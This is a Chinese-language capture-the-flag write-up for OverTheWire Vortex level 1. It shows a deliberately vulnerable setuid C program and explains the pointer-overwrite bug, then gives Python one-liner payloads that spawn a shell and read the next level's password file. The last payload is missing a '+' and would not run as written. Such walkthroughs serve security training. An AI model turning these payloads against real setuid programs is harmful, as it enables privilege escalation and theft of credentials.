Vortex Wargame通关记录——Level 1

Level 1 -> Level 2

本级的目标是通过一个有缺陷的程序获取下一关用户的密码。密码存放在/etc/vortex_pass/vortex2中。
程序代码如下:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>


#define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); }

void print(unsigned char *buf, int len)
{
        int i;

        printf("[ ");
        for(i=0; i < len; i++) printf("%x ", buf[i]); 
        printf(" ]\n");
}

int main()
{
        unsigned char buf[512];
        unsigned char *ptr = buf + (sizeof(buf)/2);
        unsigned int x;

        while((x = getchar()) != EOF) {
                switch(x) {
                        case '\n': print(buf, sizeof(buf)); continue; break;
                        case '\\': ptr--; break; 
                        default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break;
                }
        }
        printf("All done\n");
}

可以看到,这个程序是会读取用户输入,并且根据输入,通过一个switch语句执行不同的操作。当遇到’\n的时候打印出buf;当遇到\\的时候指针会向后移动;其他情况下会向前移动并赋值。
使用上一关得到的vortex1的密码登录后,进入/vortex目录,用ls -l指令可以得到:
-r-sr-x--- 1 vortex2 vortex1 7607 Feb 4 05:21 vortex1
vortex1文件,即以上代码编译得到的可执行程序,所属用户是vortex2,所属组是vortex1。并且在执行权限中,setuid位被置。就意味着在执行vortex1时,可以临时使用vortex2的权限,利用这一权限就可以打开存有密码的文件,得到下一关密码。
从源代码中可以看到,函数e()中可以设置uid并且打开一个shell。因此只要我们触发e()中的条件,就可以利用shell查看密码了。

Challenge 1

那么怎么样触发条件呢?它的要求是ptr的高位是0xca,显然我们不大可能将ptr准确移动到0xca的位置,而需要修改ptr的值。
通过观察可以发现,ptr的初始位置在buf的正中间,即buf + 256,而我们可以通过输入\\和其他字符来移动ptr,因此可以通过找到ptr相对buf的位置,从而修改ptr的值。
可以通过objdump查看汇编指令:

80485dd:       8d 44 24 1c             lea    0x1c(%esp),%eax
80485e1:       05 00 01 00 00          add    $0x100,%eax
80485e6:       89 44 24 14             mov    %eax,0x14(%esp)
80485ea:       e9 9f 00 00 00          jmp    804868e <main+0xce>
80485ef:       8b 44 24 18             mov    0x18(%esp),%eax
80485f3:       83 f8 0a                cmp    $0xa,%eax

通过比较C语言可以得到,buf在0x1c,ptr在0x14,x在0x18,和声明的顺序不太一样。因此我们可以得出,从buf移动到ptr的高位(小端序机器)需要回退256+4+1=261次。在回退之后,再输入0xca就可以将高位修改为0xca,再输入一个其他字符,就可以触发函数e()中的条件。
为了便于输入,我们用python的print指令。
python -c 'print "\\" * 261 + "\xca" + "a"' | /vortex/vortex1
当然,这样写不会有什么效果,因为这样虽然打开了一个shell,但没有给它任何指令。我们加上打开密码文件的指令。
python -c 'print "\\" * 261 + "\xca" + "a" + "\ncat /etc/vortex_pass/vortex2\n"' | /vortex/vortex1
但是这样也没有效果。这就出现了另一个问题,即shell处理EOF的问题。

Challenge 2

在执行execlp时,STDIN没有清除,因此shell会遇到EOF并退出。解决这一问题有两种方法。

方法1

可以利用ENV,当shell以sh的名字启动时,bash会寻找变量ENV,读取它对应的文件并执行其中的命令。因此我们只需要在一个文件里写上命令:
cat /etc/vortex_pass/vortex2
然后再将执行的命令改为
python -c 'print "\\" * 261 + "\xca" + "a"' | env ENV=/tmp/xxx /vortex/vortex1
即可。
在服务器端,创建文件必须在/tmp目录下。

方法2

由于kernel的STDIN使用了一个循环buffer,因此可以用超长的字符串冲掉原有的EOF。buffer长度为4096个字节。需要的额外字符长度=4096-261-2-1=3832个字节。
因此可以将执行的命令改为
python -c 'print "\\" * 261 + "\xca" + "a" + "a" * 3832 "\ncat /etc/vortex_pass/vortex2\n"' | /vortex/vortex1

最终可以打印出下一关的密码。

参考资料

https://mcpa.github.io/vortex/wargame/web/overthewire/2015/10/21/vortex01/
http://ins3cure.blogspot.com/2012/09/overthewire-vortex-level-1.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值